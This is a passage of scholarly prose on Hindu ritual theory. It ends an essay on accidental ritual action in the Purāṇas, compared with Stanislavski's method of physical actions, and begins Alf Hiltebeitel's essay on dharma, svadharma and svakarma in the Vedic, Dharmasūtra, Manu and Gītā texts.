Rāgānugā Bhakti Sādhana is a form of practice that aims to achieve an ultimate religious world by intentionally imitating the behavior of perfected beings who inhabit that world. Specifically it is a _s ādhana_ that is designed to attain residence in Kṛṣṇa's blissful land of Vraja by imitating the _anubh āva_s of the perfected beings of that realm, the Vrajaloka, whose actions are available in Vaiṣṇava literature, especially the Bhāgavata Purāṇa. A common Hindu ritual adage is "Thus the gods did; thus men do."11 In his commentary on the _Bhaktiras āmṛtasindhu,_ Gosvāmin (1962, 1.3.1) indicates that the _anubh āva_ and _s ādhana_ are two sides of the same coin; they differ in motive but have the same physical form.12 That is, to the degree that it is successful, _s ādhana_ is action that conforms to the _anubh āva_ form of action exhibited by the perfected Vrajaloka. Thus what is being expressed here is the idea that the way to religious perfection is through physical actions. Engaging one's body in disciplined imitative action is deemed to be transformative. Although he too promotes intentional action, Gosvāmin affirms the transformative power of physical action in his discussion of Rāgānugā Bhakti Sādhana by highlighting how the demoness Pūtanā achieved the highest goal by imitating ( _anuk āra_) a wet nurse for Kṛṣṇa (by suckling him at her breast, though her intention was to kill him with poison). Gosvāmin writes: "Scripture tells that a state similar to the state of those who possess Rāgātmikā Bhakti (the perfected ideal) may be obtained by means of mere imitation ( _anukara ṇa_), even with bad intention. There is the case of Pūtanā's imitation of a wet nurse. How much more easily could this occur by conforming to a constant and complete _bhakti_ " (1962, 322).13
While the main thrust of my argument is that taking seriously the theorizing about ritual within ritual texts augments our understanding of ritual, it is also expedient to recognize that implicit theories of ritual found in Western reflection on the nature of action may provide support to Purāṇic claims about ritual action. The effectiveness of physical acting has been insightfully explored in the West, for example, by the Russian theorist of dramatic acting, Constantin Stanislavski, who discovered intimate connections between internal mental states and external physical actions. Stanislavski defined the subconscious as the uncontrolled inner mental world and the conscious as the external world of controlled actions. Arguing in opposition to Freud, who stressed that the subconscious influences the conscious, Stanislavski asserted with the support of his friend Ivan Pavlov that the conscious can influence the subconscious or that external actions can influence inner mental states (Stanislavski 1946, 14–15). This was an extremely important breakthrough for Stanislavski, since his method of acting rests on the claim that an actor's success depends upon the ability to "turn on" inner mental states in such a way that they are in harmony with those of the character being portrayed. Perhaps Stanislavski's greatest contribution was his assertion that the inner world of the subconscious could be transformed through the external world of physical actions. "Thus physical actions are the 'key' that lets the actor penetrate the inner world of the character portrayed" (Simonov 1973, 41).
Stanislavski maintained that the inner world of human beings is expressed physically. This was also supported by the leading Russian scientists of his day. "The thesis of Stanislavski that the complex of human's psychological life—moods, desires, feelings, intentions, ambitions, for example—is expressed through simple physical actions has been confirmed by such scientists as Pavlov and I. M. Sechenov" (Moore 1965, 22). Thus access to the inner world of another, Stanislavski tells us, is through the other's external physical expressions; it is with the body that interior mental states are both expressed and accessed. Stanislavski informed his actors that the inner life of a character is approached by imitating the physical acts of that character. The anger of a particular character, for example, is realized by imitating the physical expressions of that particular character's anger, for example, pounding fists on the table. This he called the "Method of Physical Actions."
The goal of such intentional imitative action is to "live the role," that is, to take on the mental world of the character being imitated. "The very best that can happen is to have the actor completely carried away by the play" (Stanislavski 1946, 13). Stanislavski believed that through perfected acting technique an actor could totally identify with the disposition of the character being portrayed. This is the experience he called "re-incarnation." "An actor achieves re-incarnation when he achieves the truthful behavior of the character, when his actions are interwoven with words and thoughts, when he has searched for all the necessary traits of a given character, when he surrounds himself with its given circumstances and becomes so accustomed to them that he does not know where his own personality leaves off and that of the character begins" (Moore 1965, 22).
The whole of Stanislavski's research demonstrates that an actor can actually achieve the inner world of a character by imitating that character's physical actions. He asserted that inner experience is reproducible and that it is accessible through physical actions. Stanislavski considered the experience of reincarnation the height of the actor's art and argued that this experience has a tremendous effect on the life of an actor.14 Although the Purāṇas are concerned with ontological transformations in addition to mental transformations, Stanislavski's insights lend themselves to supporting an understanding of how intentional physical imitative action might function in a transformative way. A similar notion seems to inform much Hindu _s ādhana._ Physical acts are understood to have certain positive effects on one's inner mental state. A well-known teacher of yoga _s ādhana_ put it this way: "The relationship between mind and body is complete and so subtle that it is no wonder that certain physical training will induce certain mental transformations" (Sivananda 1978, 70). Ritual action, then, can be seen as a series of physical actions designed to guide the practitioner into a specific way of being.
Intentional and Unintentional Actions
This may be true for intentional imitative behavior, but what about unintentional or accidental action? The Purāṇas are filled with prolific discussion of the benefits of intentional ritual action, and those who discuss Rāgānugā Bhakti Sādhana articulate an Indian way of thinking about the effectiveness of intentional imitative behavior. While these discussions of _s ādhana_ are concerned with intentional imitative behavior, there is nothing in them that precludes the possible effectiveness of unintentional imitative action. What might stories such as those featuring Guṇanidhi, Sundara Senaka, Caṇḍa, Gurudruha, and Ajāmila add to a consideration of the effectiveness of ritual actions? It seems to me that being located among more abundant discussions about the effectiveness of intentional ritual action, these stories function to provide even more radical affirmation of the transformative power of physical action. By divorcing physical imitative action from intentionality, these stories serve to stress that physical action itself is the key to the transformative experience in ritual performance. Otherwise why assert that accidental rituals work? Getting the body in specific motion is what is most important. Yama instructs his deadly attendants in the Guṇanidhi story of the Śiva Purāṇa: "Do not bother those persons who imitate the behavior of a worshiper of Śiva. Never bring them here. Do not bother those persons who imitate the behavior of a worshiper of Śiva, even if they are faking it ( _dambhen āpi_) or pretending ( _chalen āpi_). Never bring them here" (Śiva Purāṇa 18.48–49). Physical imitative action itself is what is clearly endorsed, regardless of motive.
Within the Purāṇas, then, the exemplary expression of actions by perfected beings that serve as the models for much ritual action, the intentional imitation of these exemplary actions, and the accidental imitation of these exemplary actions are all connected. Although these three types of action differ in motive, they all result in the same action. If intentional ritual or imitative action has the ability to achieve the inner state of perfection, and if physical action is the agent of transformation, then accidental ritual action can also achieve an inner state of perfection. Stories about accidental ritualists, then, function to emphasize the point that physical action is the key to achieving the desired inner state in ritual performance.
Moving this into a more explicit theory of ritual, the Purāṇas seem to be asserting bodily action over thought (knowledge or intentionality) as the key transformative element in ritual. Many Western theories of ritual contend that ritual has a great deal to do with thought (for example, consciously imitating a myth), and although the Purāṇas support this contention to some extent, the stories I present here are about ritual performers who have no idea what they are doing. Yet still the rituals are said to succeed. Accounts of the success of intentional ritual performances might leave one in doubt regarding the transformative agent in ritual. Narrations of accidental ritualists, however, clearly distinguish physical action from intentionality and identify the former as the transformative agent. The emphasis on physical action over thought affirms an understanding of Hinduism as being more concerned with orthopraxy than orthodoxy. If this is the case, then the theory of ritual operative in the Purāṇas is continuous with Vedic ritual concerns and notions about the proper performance of the sacrifice, in which accurate ritual performance was assumed to yield a tremendous power on its own—a power that could even control the gods. Regardless of what one thinks, it is what one _does_ that determines the success of ritual performance.
Conclusion
The Purāṇas, then, appear to be in agreement with Catherine Bell, who follows Pierre Bourdieu in arguing that "we can speak of the natural logic of ritual, a logic embodied in the physical movements of the body and thereby lodged beyond the grasp of consciousness and articulation.... In other words, the molding of the body within a highly structured environment does not simply express inner states. Rather, it primarily acts to restructure bodies in the very doing of the acts themselves. Hence, required kneeling does not only merely communicate subordination to the kneeler. For all intents and purposes, kneeling produces a subordinated kneeler in and through the act itself" (Bell 1992, 99–100). These Purāṇic accounts add to Bell's point by placing a weighty emphasis on the fortuitous and, by so doing, laying even greater emphasis on the physical performance of rituals and causing us to ponder the efficacy of bodily acts completely divorced from any intention. The Purāṇas assert—in narrative form—that ritual is indeed transformative and, beyond that, go on to identify the key agent of ritual transformation to be physical action itself. Accidental ritualists may be lost with regard to knowledge and intentionality, but in the Purāṇas they achieve the desired goal nonetheless, and in so doing give us much to think about when considering the nature of ritual performance.
**Notes**
1. I have in mind recent experiments with ritual construction in contemporary eco-spirituality, neo-paganism, and some forms of Christianity. See, for example, discussion of the Council of All Beings in Seed et al. 1988; various books by Starhawk, including _The Earth Path_ (2004) and her most popular book, _The Spiral Dance_ (1999); and Fox 1991.
2. Although the nature of the tension is understood differently, others also affirm a tension-reducing view of ritual. Jonathan Smith has contributed relevant statements about ritual along these lines. In his study of the Ainu bear ritual, he asserts that ritual functions to reduce the ideological tension between the way things are and the way things ought to be. "Ritual is a means of performing the way things ought to be in conscious tension to the way things are" (1982, 63). For Smith, like Turner, ritual functions to reduce tensions, although in this case the tensions are ideological rather than social. The Ainu bear ritual does not change anything, according to Smith; instead it provides an aid to acknowledging that ideal change is not possible in the real world. One might add to this discussion Freud's view of ritual as being a form of obsessive neurosis that functions to reduce psychological tensions associated with certain kinds of anxiety caused by unconscious factors. Far from being transformative, ritual for Freud is actually entrenching. See Freud 1950.
3. For an English translation, see Shastri 1970, part 1, 255–65.
4. This is the aniconic stone form in which Śiva is most typically worshiped in a temple.
5. For an English translation, see Tagare 1970, part 1, 375–77.
6. For an English translation, see Deshpande 1991, part 8, 2874–76.
7. For an English translation, see Shastri 1991, part 3, 1431–39.
8. The story of Ajāmila is found in the first two chapters of the sixth book of the Bhāgavata Purāṇa.
9. See chapter 193. An English translation of the description of this ritual is found in Gangadharan 1985, part 1, 517–18.
10. _Li ṇga Purāṇa_ 1973, part 1, 389.
11. Eliade's (1954, 21) citation of the Taittirīya Brāhmaṇa.
12. See Haberman 1998, 69.
13. For further discussion see Haberman 1998, 78.
14. This contention has subsequently been substantiated by numerous actors. See, for example, the interviews with Method actors in Funke and Booth 1961.
References
Bell, Catherine. 1992. _Ritual Theory, Ritual Practice._ New York: Oxford University Press.
Bhattacharya, Ramshankar, ed. 1964. _Garu ḍapurāṇa._ Varanasi: Chowkhamba Sanskrit Series Office.
Campany, Robert F. 1996. "Xunzi and Durkheim as Theorists of Ritual Practice." In _Readings in Ritual Studies,_ edited by Ronald L. Grimes, 86–103. Upper Saddle River, N.J.: Prentice Hall.
Deshpande, N. A., trans. 1991. _Padma Pur āṇa._ Delhi: Motilal Banarsidass.
Eliade, Mircea. 1954. _The Myth of the Eternal Return._ Princeton: Princeton University Press.
Fox, Matthew. 1991. _Creation Spirituality: Liberating Gifts for the People of the Earth._ San Francisco: Harper.
Freud, Sigmund. 1950. "Obsessive Acts and Religious Practices." In _Collected Papers,_ vol. 2, translated by Alix and James Strachey, 25–35. London: Hogarth.
Funke, Lewis, and John E. Booth, eds. 1961. _Actors Talk about Acting._ New York: Random House.
Gangadharan, N., trans. 1985. _Agni Pur āṇa._ Delhi: Motilal Banarsidass.
Geertz, Clifford. 1973. _The Interpretation of Cultures: Selected Essays._ New York: Basic Books.
Gosvāmin, Jīva. 1962. _Bhakti Sandarbha._ Edited with Bengali translation by Rādhāraman Gosvāmī Vedāntabhīṣan and Kṛṣṇagopāla Gosvāmī. Calcutta: University of Calcutta.
Haberman, David L. 1988. _Acting as a Way of Salvation: A Study of R āgānugā Bhakti Sādhana._ New York: Oxford University Press.
_Li ṇga Purāṇa._ 1973. Translated by a board of scholars. Delhi: Motilal Banarsidass.
Moore, Sonia. 1965. _The Stanislavski System._ New York: Penguin Books.
Rocher, Ludo. 1986. _The Pur āṇas._ Edited by Jan Gonda. Vol. 2 of _A History of Indian Literature._ Wiesbaden: Harrassowitz.
Seed, John, Joanna Macy, Pat Fleming, and Arne Naess. 1988. _Thinking Like a Mountain: Towards a Council of All Beings._ Philadelphia: New Society Press.
Shastri, J. L., trans. 1970. _Ś iva Purāṇa_. Delhi: Motilal Banarsidass.
Simonov, P. V. 1973. "The Method of K. S. Stanislavski and the Physiology of Emotion." In _Stanislavski Today,_ edited by Sonia Moore, 34–43. New York: American Center for Stanislavski Theatre Art.
Singh, Nag Sharan, ed. 1981. _The Śiva Mahāpurāṇa._ Delhi: Nag.
Sivananda, Swami. 1978. _Practical Lessons in Yoga._ Rishikesh: Divine Life Society.
Smith, Jonathan Z. 1982. _Imagining Religion: From Babylon to Jonestown._ Chicago: University of Chicago Press.
Stanislavski, Constantin. 1946. _An Actor Prepares._ Trans. Elizabeth R. Hapgood. New York: Theatre Arts.
Starhawk. 1999. _The Spiral Dance._ San Francisco: Harper.
———. 2004. _The Earth Path._ San Francisco: Harper.
Tagare, G. V., trans. 1970. _Garu ḍa_ _Pur āṇa._ Vols. 12–14 of _Ancient Indian Tradition and Mythology._ Delhi: Motilal Banarsidass.
Turner, Victor W. 1977. _The Ritual Process: Structure and Anti-structure._ Ithaca: Cornell University Press.
## Ritual as Dharma
_The Narrowing and Widening of a Key Term_
ALF HILTEBEITEL
In the early 1980s, while I was preparing an article for publication, it was suggested to me that I was perhaps a little too eager to run several rituals through one processual scheme.1 In this essay I try to do something that looks to be more or less the opposite: that is, question a scheme through which others have run a number of rituals. There are differences in the generative sources of these schemes. The one I was using came from the anthropologist Victor Turner, then at the University of Chicago, from his book _Dramas, Fields, and Metaphors_ (1974, 23–155, esp. 37–42), and involved interpreting ritual through a pattern of breach, crisis, redressive action, and resolution (Hiltebeitel 1982); the one I wish to address here comes from India and has to do with interpreting dharma as ritual action. In Turner's scheme the "root metaphor" of social drama provides a model for interpreting ritual; in the scheme I wish to address in this essay, ritual is the model invoked for interpreting dharma. But as we shall see, dharma itself, in certain aspects, might be interpreted as a root metaphor and even as something akin to Turner's four-phase model. I thus do not intend these comments to suggest dissatisfaction with theoretical models. But whether ritual is the model or the modeled, the need to think carefully about the schemas we use to interpret it is always a good caution.
I begin with the equation often made between dharma and karma as ritual action and argue that it is misleading to derive this equation from the earliest uses of the term _dhárman,_ from which the concept and word _dharma_ derive. I then call attention to three much ignored or overlooked splits in the ways that activities are ascribed to different castes and personages within them. One split models the assignment of _svakarma_ s ("their own jobs") to Brahmans while other classes are assigned _svadharma_ s ("their own laws" or "duties"), thereby reserving priestly offices for Brahmans. A second split applies within the Kṣatriya or warrior class between the _svadharma_ s of warriors and those of kings, whereby a self-sacrificial ideology is prescribed mainly for the former around the idea of "desireless action." And a third split is found between the usages of the term _karmayoga_ in the Bhagavad Gītā and the Laws of Manu: the Gītā to describe this "desireless action" of the self-sacrificing Kṣatriya; the Laws of Manu to describe Vedic "ritual usage" as inevitably including desire. I attempt to bring this discussion together by tracing these threads to the point where, I hope, they confer some new and differential light on the roles of Brahmans, kings, and Kṣatriyas in the ritualization of war and violence.
The "First Foundations" of Ritual
In a 2004 essay in a _Journal of Indian Philosophy_ double issue dedicated to the subject of dharma, Joel Brereton attempts to set the terms for a "reevaluation of the history of _dharma_ " around an interpretation of Ṛgvedic usages of _dhárman_ as meaning "foundation." This is a root metaphor if there ever was one, since the hymns refer to _dhárman_ not only as a "foundation" below but also a celestial "foundation" above or in thought (for example, Ṛgveda [ṚV] 3.38.2; 5.15.2; 5.63.1; 5.69.1; 9.86.8–9; 9.97.12). If one considers that the universe is conceived of in Bhagavad Gītā 15.1–3 as an inverted tree with roots above and that this image itself has Upaniṣadic precedent (Kaṭha Upaniṣad 6.1), one might relate such an enigmatic understanding of _dhárman_ to the Mahābhārata allegory that compares "Duryodhana made of wrath ( _manyumayo_ )" and "Yudhiṣṭhira made of dharma ( _dharmamayo_ )" as each a "great tree," with others on their sides as each tree's crotch, branches, flowers, and roots (Mahābhārata [Mbh] 1.1.65–66). The Duryodhana tree is rooted in Duryodhana's blind and wavering father, Dhṛtarāṣṭra; the Yudhiṣṭhira tree is rooted in Kṛṣṇa, _brahman,_ and Brahmans. For the Mahābhārata, and one could say for the Bhagavad Gītā, the dharma embodied in Yudhiṣṭhira has its foundation and roots in this transcendent source.
Brereton begins with several important observations. "Since _dhárman_ is a developing term in _Rigveda,_ its meaning reflects directly its etymology and form. And, happily, the formation of _dhárman_ is transparent. It is derived from ? _dh ṛ_ 'uphold, support, give foundation to' and a - _man_ suffix. Therefore, it denotes a thing that upholds or supports, or, more simply, a 'foundation.' The word _dharmán,_ a noun of agent, then designates an 'upholder' or 'foundation-giver'" (Brereton 2004, 450). Sixty-three usages of _dhárman_ and four of _dharmán_ is "not a small number," but "this relatively modest frequency of _dhárman_ nonetheless implies that it was not a central term in the Rigvedic lexicon or in Indian culture of the Rigvedic period" (449). Yet even if not central, " _dhárman_ is thoroughly established in the text, since the word is attested in all its chronological levels," with "increasing frequency in the younger layers" (450). Moreover, unlike Ṛgvedic _ṛ ta_ (truth) and _vratá_ (commandment), which _are_ "central" and, with their Avestan cognates, point back to "significant roles in the old Indo-Iranian religious vocabulary," _dhárman,_ at least in its Ṛgvedic meanings, does not have such a prehistory. For Brereton this means that in contrast to the other two terms, "the discussion of _dhárman_ can reasonably begin with the _Rigveda_ " (449). Indeed, setting the old cognate _firmus_ aside, it would seem that we could also suspect that _dhárman_ could be a Ṛgvedic coinage.
Brereton's interpretation is thoroughgoing, new, and productive. I do not wish to illustrate it here with many of the passages he treats. But one is crucial: ṚV 10.90.16, the last verse of the famous "Puruṣasūkta," or hymn to Puruṣa, which attributes the creation of the universe to the sacrifice and dismemberment of this cosmic "Male." This is a late Ṛgvedic hymn, one that is transitional for being what Michael Witzel has called "the first constitution of India," defining "Kuru orthopraxy" for the late Vedic Kuru state that combined the completion of the Ṛgveda Saṃhitā with the early collection of the other three Vedas during the post-Ṛgveda "mantra period" (Witzel 1997, 36, 51).
Now it can be noticed that verses mentioning _dhárman_ often occur at the beginning and/or the end of hymns. Its placement in the last verse of ṚV 10.90 can hardly be accidental. The same exact verse also occurs as the fifty-second of fifty-four verses in the much more rambling ṚV 1.164 (the riddle-laced "Asya vāmasya" hymn), from which 10.90 probably lifts it into its much more memorably structured slot (Houben 2000, 524–25; Horsch 2004, 444n20). ṚV 10.90's earlier verses can thus be reviewed from the standpoint of the "foundations" proclaimed at its end: "With the sacrifice the gods sacrificed the sacrifice: these were the first foundations ( _dhárm āṇi_), / and those, its greatnesses, follow to heaven's vault, where exist the ancient ones who are to be attained, the gods" (ṚV 10.90.16; trans. Brereton 2004, 460).
Brereton takes this verse as emblematic of the poets' concern not only that _dhárman_ be a foundation for heaven and earth and the gods, but also "that the ritual itself have a foundation" (2004, 459–60). Thus "the 'first _dhárman_ s' are the model sacrifice instituted by the gods and replicated in human performance, and as such, they are the 'foundations' for the ritual performance" (460)—itself described in the verse's paradoxical first line that uses three derivatives of ? _yaj_ to suggest that Puruṣa is both the sacrificial victim and the means by which the sacrificial process of the gods who sacrificed him is set in motion (although Brereton says it might also just mean that the gods "sacrificed again and again" [460; cf. Horsch 2004, 428]).
Brereton's translation of _dhárman_ as "foundations" is especially lucid here, and preferable, as he notes, to "ordinances," "institutes," or "laws"; for as Brereton says, in the Ṛgveda "the ritual was varied and fluid" (467). This makes the translation "foundations" especially preferable to "ritual laws"—Wendy Doniger O'Flaherty's translation (1981, 31), which has misled Rupert Gethin's attempt to link the famous Buddhist meaning of dharmas in the plural (meaning phenomena, mental events, or regularities in that context) back to this verse (2004, 531). Among the "first foundations" that ṚV 10.90 sets is "the 'official' establishment of the four social classes ( _var ṇa_)" of the Brahman or priest from Puruṣa's mouth, the Rājanya or nobility from his arms, the Vaiśya or people from his thighs, and the Śūdra or serving class from his feet (verse 12). It thus comes to serve as a charter for "increasing social stratification," with cooperation between the armed nobility and a Brahman class that now cuts across and unifies the older clans of poet-priests; the "joint power" of these two upper classes over the Vaiśya; and further internal _var ṇa_ division between Ārya and Śūdra (Witzel 1997, 267).
Moreover ṚV 10.90 says nothing that would either ground kingship itself in the "first foundations" or the "first _dhárman_ s" in kingship. It just mentions the nobility as a class from which kings would presumably come and shows its subordination to the Brahman class not only by asserting the Rājanyas' second position but also by saying in verse 13 that Indra and Agni come from the mouth of Puruṣa just after the Brahman came from Puruṣa's mouth in verse 12. (One wants to say the _same_ mouth, but Puruṣa has a thousand heads.) This priority might suggest that even if Indra and possibly Agni participate as divine kings (which is not clear) in implementing the sacrificial "first foundations," they would do so on the precedent of the sacred speech that the prior birth of the Brahman makes possible, and Indra in particular would do so by association with the purifying ritual fire.
We may thus say that Ṛgvedic _dhárman_ does not refer to "law" or "laws," or "ritual laws," but is a term by which the Ṛgvedic poets describe "foundations," including but not limited to the foundations of sacrificial ritual. Nor does it refer to ritually instituted acts. But we can see the possibility of smuggling later notions of ritual action into readings of the Vedic _dhárman,_ especially in this hymn where it could be taken to imply the "ritual laws" or "institutes" of the four classes. William Mahoney (as one example among many) extends such a back-reading to other _earlier_ Ṛgvedic verses. He argues, "In early Vedic texts _dharman_ refers to an established or proper mode of conduct that supports or helps maintain the continuing health of the world. According to one such visionary [referring to the poet of ṚV 6.70.1], for example, it was through Varuṇa's _performance of his dharman_ that the sky was raised above the land... . The Vedic idea of _dharman_ stands as precedent for the later idea of _dharma_ as _responsible, proper activity that supports the world_ " (Mahoney 1998, 107; emphasis added). Similarly Mahoney translates _dhárman_ as "support, proper conduct" (49–50) and as "established rites" in 5.26.6 and "proper ritual performance" in 8.43.24 and considers it "closely associated with" _karman_ (108).
Surely these nuances are projected back into the Ṛgveda, probably from the Bhagavad Gītā: "performance of his _dharman_ " looks like a transparent back-reading of the Gītā's notion of _svadharma,_ one's "own duty," meaning nothing else—as we shall see—than the duties pertinent to one's social class ( _var ṇa_). Along with the whole first sentence, "responsible, proper activity that supports the world," which is supposed to gloss the early Vedic meaning, is a restatement of the Gītā's notion of _lokasa ṃgraha,_ action ( _karman_ ) done "for the welfare of the world" (Bhagavad Gītā [BhG] 3.20). This is said by Kṛṣṇa both to gloss his prior Gītā teaching of dharma as _svadharma_ (2.31 and 33) and to set things up for his famous pronouncement to the great warrior-prince Arjuna: "Better one's own duty ( _svadharma_ ), (tho) imperfect, than another's duty ( _paradharma_ ) well performed; better death in (doing) one's own duty, another's duty brings danger" (3.35; trans. Edgerton 1952, 39). The inappropriateness of such a reading of Ṛgvedic verses should be apparent. Rather than importing notions like this into the Vedic past, it behooves us to see how new classical concepts construct dharma as ritual on this fluid Vedic foundation.
_Svadharma_ and _Svakarma_
The compound _svadharman_ has one occurrence in the Ṛgveda at ṚV 3.21.2b, where it would seem (following Brereton's translation of _dhárman_ ) to ask that Agni from "his own foundation"—no doubt fire itself—bestow (✓ _dh ā_) what is best "for us" that is acceptable to the gods. In the Śrautasūtras, according to Patrick Olivelle, _svadharma_ has a specialized meaning when it refers to instances where "a particular rite has its own ritual details ( _dharma_ s) specific to it and not taken over from or extended to other rites" (Olivelle 2004a, 502). The ground may thus be set for _svadharma_ as "own ritual details" to be applied in later Brahmanic texts to the personal "duties particular to" groups and individuals.2 This Śrautasūtra usage of _svadharma_ is probably pre-Buddhist. Meanwhile early Buddhists—perhaps wary of the implications of _self_ and _ownership_ in such terms—do not use the term. As Richard Gombrich says of Buddhist criticism of this "Hindu notion," "Buddhists do not even have the term _svadharma_ (Pali * _sadhamma_ )" (1985, 436). Indeed its one appearance in Aśvaghoṣa's Buddhacarita puts the term into the mouth of the devil when Māra, fingering an arrow (Buddhacarita 13.8), starts challenging the Bodhisattva's right to sit beneath the _bodhi_ tree: "9. Up, up, Sir Kṣatriya, afraid of death. Follow your own _dharma_ ( _cara svadharmam_ ), give up the _dharma_ of liberation ( _tyaja mok ṣadharmam_). Subdue the world with both arrows and sacrifices, and from the world obtain the world of Vāsava" (trans. Johnston 2004, 189–90).3 Aśvaghoṣa's usage of _svadharma_ would seem to parody Kṛṣṇa's promptings of Arjuna in the Bhagavad Gītā (see Hiltebeitel 2006, 273).
As far as I can see, then, the term _svadharma_ gets its first workout, together with _svakarma,_ in the Dharmasūtras, where a kind of semantic drift between the two terms is set in motion; and the two are then further developed as governing paradigms in the Laws of Manu (henceforth Manu) and the Mahābhārata, where they are sometimes harnessed to varying notions of _karmayoga._ In the Dharmasūtras we may begin to notice a pattern that Manu and the Mahābhārata only reinforce. The Brahman authors of the three earliest Dharmasūtras (Āpastamba Dharmasūtra, hereafter Ā; Baudhāyana Dharmasūtra, hereafter B; Gautama Dharmasūtra, hereafter G) use the term _svadharma_ mainly to prescribe or "legislate," as it were, what is generally appropriate and to be enforced (by the king or the karmic mechanism of reincarnation) for all the social classes and _ā śrama_s (life stages or patterns).4 But their particular targets in prescribing _svadharma_ are the classes below the Brahman (Ā 1.18.3)—especially the Kṣatriya and still more singularly the king.
This looks fairly straightforward, but it is less so than it appears. When the same Brahman authors speak specifically of themselves and the privileges and occupations reserved for them, they do not use the term _svadharma._ Rather they prefer the term _svakarma,_ thereby speaking of their "own actions" or "activities" or "own occupations" rather than their "own dharma." And when they speak of other classes' "appropriate actions" or "occupations" ( _svakarma_ s) instead of their _svadharma,_ they seem to do so where the activities of such others would impact directly upon Brahmans, as with what Brahmans can eat that others might offer (G 17.1; B 1.3.17–18) or where occupations reserved for Brahmans set the paradigm for what other classes may and may not do. Thus Āpastamba, before its author lists the occupations of the two Ārya castes below the Brahman (in Ā 2.10.6–7), defines those reserved for the Brahman. "The occupations specific to a Brahman ( _svakarma br āhmaṇasya_) are studying, teaching, sacrificing, officiating at sacrifices, giving gifts, receiving gifts, inheriting, and gleaning, as well as appropriating things that do not belong to anybody" (4–5). While the last three of these nine "occupations specific to a Brahman" are idiosyncratic to Āpastamba, the other six become standard and are set off in pairs that distinguish the second of each pair (teaching, officiating at sacrifices, and receiving gifts [referring to honoraria at sacrifices]) as reserved only for Brahmans, while the first members of each pair (studying, sacrificing, and giving gifts) are suitable for all three twice-born or Ārya classes and thus for Kṣatriyas and Vaiśyas as well.5 The overall implication, as I see it, is that the _svakarma_ of Brahmans defines the "archetype" or default position of dharma, usually without mentioning the term _dharma,_ for all Āryas, with only the unremunerative half of their "own actions" or "occupations" being appropriate for Kṣatriyas and Vaiśyas. Meanwhile in this passage from Āpastamba, "the Śūdra is purely and simply eliminated, or perhaps there is nothing new to say as regards _var ṇa_ concerning him" (Biardeau 2002, 1, 77). Oddly enough, Biardeau says the passage concerns itself with "a Brahman's _dharma,_ " but surprisingly that term is not even used with regard to Brahmans (1, 77).
Yet the Brahmans' _svakarma_ does of course provide those below them with an archetype that models the _svadharma_ of Kṣatriyas above all, and others below them, on sacrificial ritual. And among Kṣatriyas the pivotal figure for whom and through whom the Dharmasūtra authors begin to legislate dharma is the king. Gautama Dharmasūtra has a fine passage on this subject, out from which Manu and the Mahābhārata might be said to build:
The king rules over all except Brahmans. He should be correct in his actions and speech and trained in the triple Veda and logic ( _ā nvīkṣikī_). Let him be upright [or pure, clean ( _ś uci_)] [cf. G 9.2, 9.12], keep his senses under control, surround himself with men of quality [have companions who possess _gu ṇa_s: _gu ṇavat sahāya_], and adopt sound policies ( _up āya-sampanna?_). He should be impartial to all his subjects and work for their welfare. As he sits on a high seat, all except Brahmans should pay him homage seated at a lower level, and even Brahmans should honor him. He should watch over ( _abhirak ṣet_) the social classes and the orders of life in conformity with their rules ( _ny āyata_s), and those who stray ( _calatas_ ) he should guide back to their respective duties [that is, to their _svadharma,_ singular], "for the king," it is stated, "takes a share of their merits ( _dharma_ )." He should appoint as his personal priest a Brahman who is learned, born in a good family, eloquent, handsome, mature, and virtuous ( _ś īlasampannam_); who lives according to the rules ( _ny āyavṛttam_); and who is austere. He should undertake rites ( _karm āṇi_) only with his support, "for a Kṣatriya, when he is supported by a Brahman," it is said, "prospers and never falters." (G 11.1–14)
On the one hand, the king should keep his own senses under control, implying the mastery of virtues that have come by the time of the late Upaniṣads to be associated with yoga, and he should reap the "merit" ( _dharma_ ) that comes from seeing to it that the social classes and orders of life do not stray from their _svadharma._ It is, of course, thereby implied that all the classes and life stages have their _svadharma,_ but the focus is on the king's reaping that "cumulative _svadharma_ " as merit for himself. There is nothing more precise on the king's dharma than that it concerns what he earns by watching over others and himself, which implicitly includes letting Brahmans advise him and do his rites ( _karm āṇi_).
This role of the king in dealing with those who "stray" (✓ _cal_ ) is presented even more starkly in Manu, where it is a question specifically of the king's need to apply punishment or "the rod of force" ( _da ṇḍa_) (which Gautama deals with subjacently) (11.28–32). "It is the fear of him that makes all beings, both the mobile and the immobile, accede to being used ( _bhog āya kalpante:_ literally, being enjoyed, eaten) and to not deviate (✓ _cal_ ) from the Law proper to them ( _svadharm āt:_ from their _svadharma_ )" (Manu 7.15). On the other hand, the Brahmans with whom he should surround himself as advisers have more innately defined "qualities," or _gu ṇa_s, which entitle them to their _svakarma._ In so far as Brahmans have an implied or largely unstated dharma or _svadharma,_ it is to be "qualified" innately.6 Indeed Manu exerts considerable energy in showing through six widening iterations how _gua_ s correlate with reincarnation and the "fruits of action" (12.24–50). (Kṛṣṇa, as will be noted, will override such a distinction between attained and innate qualities by defining _svadharma_ as _svabh āva._)
I cannot treat here the considerable number of passages where Manu follows suit in speaking mainly of Brahman karma and _svakarma_ around the issue of jobs and of dharma and _svadharma_ as legislated mainly for others, particularly Kṣatriyas and kings.7 In contrast there are only a few scattered passages where the texts speak of Brahman _svadharma_ (Manu 4.2–4; Mbh 13.131.8). And I find very little, despite what has been written on these subjects, to clarify any further the _svadharma_ of kings or to suggest that women have a _svadharma_ other than their _str īdharma_ to marry, be faithful, and have children.8 There is even less to suggest that there is a _svadharma_ of demons or of the gods who oversee the cosmic processes of creation, maintenance, and destruction (see O'Flaherty 1976, 68; Hill 2001, 104–6). And most telling, there is nothing at all about _svadharma_ s for mixed classes or for those outside the system, such as the heterodox naysayers or _n āstika_s (actually, as we have seen, the Buddhists seem to have preferred to do without the concept) and the barbarians or _mleccha_ s.
The Laws of Manu and the Bhagavad Gītā: Two Kinds of _Karmayoga_
